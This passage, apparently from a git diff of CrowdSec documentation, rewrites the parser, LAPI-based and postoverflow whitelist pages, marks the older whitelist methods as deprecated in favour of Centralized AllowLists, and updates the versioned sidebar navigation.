AllowLists](/local_api/allowlists.md) instead. AllowLists are managed at the LAPI level, making them easier to maintain and they also affect blocklist pulls. The parser whitelists documented below are more suited for complex expressions based on log elements. + +::: + +IP whitelists are best suited for the `Parser whitelists` stage: once a log line is parsed, CrowdSec already knows the IP and can discard it early to save resources. + +Create `mywhitelist.yaml` in your parser whitelist directory (see [introduction](/log_processor/whitelist/introduction.md) for OS-specific paths): ```yaml name: "my/whitelist" ## Must be unique @@ -13,9 +19,9 @@ description: "Whitelist events from my ip addresses" whitelist: reason: "my ip ranges" ip: - - "192.168.1.1" # Replace with your WAN IP + - "192.168.1.1" # Replace with your public IP cidr: - - "192.168.1.0/24" # Replace with your WAN IP range + - "192.168.1.0/24" # Replace with your public IP range ``` ```bash title="Reload CrowdSec" @@ -24,22 +30,22 @@ sudo systemctl reload crowdsec ### Test the whitelist -You can run a security tool such as `nikto` to test your whitelist +Use a security tool such as `nikto` to test the whitelist: ```bash nikto -host myfqdn.com ``` ```bash -sudo cscli decisions list --ip {your_whitelisted_ip} +sudo cscli decisions list --ip ``` -Should show the result `No active decisions` +The expected result is `No active decisions`. ### I still see an old decision? -The whitelist will only prevent new decisions so you must remove any old decisions with +Whitelisting only prevents new decisions. Remove old decisions with: ```bash -sudo decisions delete --ip {your_whitelist_ip} +sudo cscli decisions delete --ip ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/lapi_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/lapi_based_whitelist.md index a0e0be42b..430d0b529 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/lapi_based_whitelist.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/lapi_based_whitelist.md @@ -3,9 +3,15 @@ id: create_lapi title: LAPI --- -LAPI based whitelist are not your traditional whitelists, as in they wont prevent an overflow from happening, but they will prevent a decision being made by the LAPI this means log processors that forward alerts to the LAPI will not need to be configured individually to ignore certain conditions. +:::warning Deprecated -You can create a LAPI based whitelist by prepending a profile to the `profiles.yaml` file: +This approach is deprecated. Please use [Centralized AllowLists](/local_api/allowlists.md) instead. + +::: + +LAPI-based whitelists differ from parser whitelists: they do not prevent overflows, but they do prevent the LAPI from creating decisions. This means log processors forwarding alerts to the LAPI do not need per-agent ignore rules for those conditions. + +Create a LAPI-based whitelist by prepending a profile in `profiles.yaml`: ```yaml name: whitelist @@ -18,13 +24,13 @@ on_success: break In this example, the LAPI will not make a decision if the source IP is `2.2.2.2` or `3.3.3.3`. -The `profiles.yaml` file location differs based on the OS type here are the default locations: +`profiles.yaml` location depends on the OS: - Linux: `/etc/crowdsec/profiles.yaml` - FreeBSD: `/usr/local/etc/crowdsec/profiles.yaml` - Windows: `C:\ProgramData\CrowdSec\config\profiles.yaml` -You can use our extensive [EXPR helpers](/expr/intro.md) to create more complex whitelists, for example, you can whitelist a range of IPs by using the following syntax: +You can use [EXPR helpers](/expr/intro.md) for more complex whitelists. For example, to whitelist an IP range: ```yaml name: whitelist @@ -35,9 +41,8 @@ on_success: break --- ``` -If you have implemented a LAPI based whitelist then you must reload the CrowdSec service for the changes to take effect. +After adding a LAPI-based whitelist, reload CrowdSec for changes to take effect: ```bash title="Reload CrowdSec" sudo systemctl reload crowdsec ``` - diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/postoverflow_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/postoverflow_based_whitelist.md index f7bf311b9..ce8f4b9e1 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/postoverflow_based_whitelist.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/postoverflow_based_whitelist.md @@ -5,31 +5,31 @@ title: Postoverflow ## Whitelist in PostOverflows -Whitelists in PostOverflows are applied _after_ the bucket overflow happens. Please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths. +Whitelists in PostOverflows are applied _after_ bucket overflow. See [introduction](/log_processor/whitelist/introduction.md) for OS-specific paths. :::warning In PostOverflows, the `evt.Parsed` object will be empty at this stage. -It means that you must work with the [`evt.Overflow`](/expr/event.md#event-object--overflow) object for your expression. +This means you must use the [`evt.Overflow`](/expr/event.md#event-object--overflow) object in expressions. ::: -The main advantage of postoveflow whitelists is they are only triggered once the bucket overflows meaning potentially expensive expressions are evaluated less often. +The main advantage of postoverflow whitelists is that they run only when a bucket overflows, so potentially expensive expressions are evaluated less often. A good example is the [crowdsecurity/whitelist-good-actors](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors) collection. -First of all, install the [crowdsecurity/rdns postoverflow](https://hub.crowdsec.net/author/crowdsecurity/configurations/rdns) : it will be in charge of enriching overflows with reverse dns information of the offending IP address. +First, install [crowdsecurity/rdns postoverflow](https://hub.crowdsec.net/author/crowdsecurity/configurations/rdns). It enriches overflows with reverse DNS data for the offending IP. -Let's create `mywhitelist.yaml` again but remember this is a postoverflow whitelist so the paths will be different to `Parsing whitelists` please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific path. +Then create `mywhitelist.yaml`. Because this is a postoverflow whitelist, use the postoverflow path (not the parser whitelist path). See [introduction](/log_processor/whitelist/introduction.md) for OS-specific paths. ```yaml name: "my/po_whitelist" ## Must be unique description: lets whitelist our own reverse dns whitelist: - reason: dont ban my ISP + reason: don't ban my ISP expression: - #this is the reverse of my ip, you can get it by performing a "host" command on your public IP for example + # Reverse DNS of your IP (you can get it with a "host" lookup on your public IP) - evt.Enriched.reverse_dns endsWith '.asnieres.rev.numericable.fr.' ``` @@ -41,7 +41,7 @@ sudo systemctl reload crowdsec nikto -host myfqdn.com ``` -Tail the crowdsec log +Tail the CrowdSec log: ```bash tail -f /var/log/crowdsec.log @@ -55,13 +55,13 @@ time="07-07-2020 17:11:09" level=info msg="node warning : no remediation" bucket time="07-07-2020 17:11:09" level=info msg="Processing Overflow with no decisions 192.168.1.1 performed 'crowdsecurity/http-probing' (11 events over 313.983994ms) at 2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" bucket_id=blue-cloud event_time="2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" scenario=crowdsecurity/http-probing source_ip=192.168.1.1 ``` -This time, we can see that logs are being produced when the event is discarded. +You should now see logs showing that the event was discarded. ## Allow event for a specific scenario -It is possible to allow an event for a specific scenario. +You can allow events only for a specific scenario. -For example, if you want to allow all the HTTP requests starting with `/mywebapp` only for the scenario `crowdsecurity/http-crawl-non_statics`, you can create the following postoverflow: +For example, to allow HTTP requests starting with `/mywebapp` only for `crowdsecurity/http-crawl-non_statics`, create this postoverflow whitelist: ```yaml name: mywebapp_whitelist @@ -72,10 +72,10 @@ whitelist: - evt.Overflow.Alert.Scenario == "crowdsecurity/http-crawl-non_statics" and all(evt.Overflow.Alert.Events, {.GetMeta("http_path") startsWith "/mywebapp"}) ``` -The allowlist expression checks that the triggered scenario is `crowdsecurity/http-crawl-non_statics`. +The expression first checks that the triggered scenario is `crowdsecurity/http-crawl-non_statics`. -It then checks that all the `http_path` of events that lead to trigger the scenario start with `/mywebapp`. +It then checks that all `http_path` values in the triggering events start with `/mywebapp`. -:warning: Since the `capacity` of the `crowdsecurity/http-crawl-non_statics` scenario is set to 40 and its `cache_size` to 5, the allowlist can only do this check on the last 5 events. +Since `crowdsecurity/http-crawl-non_statics` has `capacity: 40` and `cache_size: 5`, the whitelist can check only the last 5 events. If it matches both conditions, the overflow is allowed. diff --git a/crowdsec-docs/versioned_sidebars/version-v1.7-sidebars.json b/crowdsec-docs/versioned_sidebars/version-v1.7-sidebars.json index df49c6cd5..8e4ca2962 100644 --- a/crowdsec-docs/versioned_sidebars/version-v1.7-sidebars.json +++ b/crowdsec-docs/versioned_sidebars/version-v1.7-sidebars.json @@ -71,7 +71,8 @@ "items": [ "log_processor/scenarios/format", "log_processor/scenarios/simulation", - "log_processor/scenarios/create" + "log_processor/scenarios/create", + "log_processor/scenarios/deploy" ] }, { @@ -102,8 +103,7 @@ "log_processor/whitelist/create_expr", "log_processor/whitelist/create_postoverflow", "log_processor/whitelist/create_fqdn", - "log_processor/whitelist/create_capi", - "log_processor/whitelist/create_lapi" + "log_processor/whitelist/create_capi" ] } ] @@ -188,7 +188,8 @@ "local_api/notification_plugins/splunk", "local_api/notification_plugins/file", "local_api/notification_plugins/template_helpers", - "local_api/notification_plugins/writing_your_own_plugin" + "local_api/notification_plugins/writing_your_own_plugin", + "local_api/notification_plugins/testing" ] }, "local_api/database", @@ -229,7 +230,8 @@ }, "items": [ "configuration/feature_flags", - "configuration/network_management" + "configuration/network_management", + "configuration/values_parameters" ] }, { @@ -309,7 +311,7 @@ "sdkSideBar": [ { "type": "doc", - "label": "Introduction", + "label": "SDK Introduction", "id": "getting_started/sdk_intro" }, { @@ -320,7 +322,12 @@ { "type": "doc", "label": "PHP", - "id": "getting_started/install_softagent" + "id": "getting_started/install_php_softagent" + }, + { + "type": "doc", + "label": "Drupal Plugin", + "id": "getting_started/install_drupal_plugin" } ], "cscliSidebar": [ @@ -357,7 +364,8 @@ "cscli/cscli_allowlists_check", "cscli/cscli_allowlists_inspect", "cscli/cscli_allowlists_list", - "cscli/cscli_allowlists_remove" + "cscli/cscli_allowlists_remove", + "cscli/cscli_allowlists_import" ] }, { @@ -707,10 +715,22 @@ "type": "doc", "id": "appsec/quickstart/general_setup" }, + { + "type": "doc", + "id": "appsec/quickstart/nginx-ingress" + }, { "type": "doc", "id": "appsec/quickstart/nginxopenresty" }, + { + "type": "doc", + "id": "appsec/quickstart/haproxy_spoa" + }, + { + "type": "doc", + "id": "appsec/quickstart/npmplus" + }, { "type": "doc", "id": "appsec/quickstart/traefik" @@ -731,11 +751,15 @@ }, { "type": "doc", - "id": "appsec/vpatch_and_crs" + "id": "appsec/configuration_creation_testing" }, { "type": "doc", - "id": "appsec/alerts_and_scenarios" + "id": "appsec/configuration_rule_management" + }, + { + "type": "doc", + "id": "appsec/hooks" } ] }, @@ -749,11 +773,15 @@ }, { "type": "doc", - "id": "appsec/hooks" + "id": "appsec/create_rules" }, { "type": "doc", - "id": "appsec/create_rules" + "id": "appsec/rules_deploy" + }, + { + "type": "doc", + "id": "appsec/rules_examples" } ] }, @@ -768,9 +796,44 @@ { "type": "doc", "id": "appsec/benchmark" + }, + { + "type": "doc", + "id": "appsec/request_lifecycle" + } + ] + }, + { + "type": "category", + "label": "CRS", + "link": { + "type": "doc", + "id": "appsec/crs/intro" + }, + "items": [ + { + "type": "doc", + "id": "appsec/crs/installation" + }, + { + "type": "doc", + "id": "appsec/crs/plugin_support" + }, + { + "type": "doc", + "id": "appsec/crs/crs_config" } ] }, + { + "type": "doc", + "id": "appsec/alerts_and_scenarios", + "label": "WAF behavior analysis" + }, + { + "type": "doc", + "id": "appsec/advanced_deployments" + }, { "type": "doc", "id": "appsec/troubleshooting"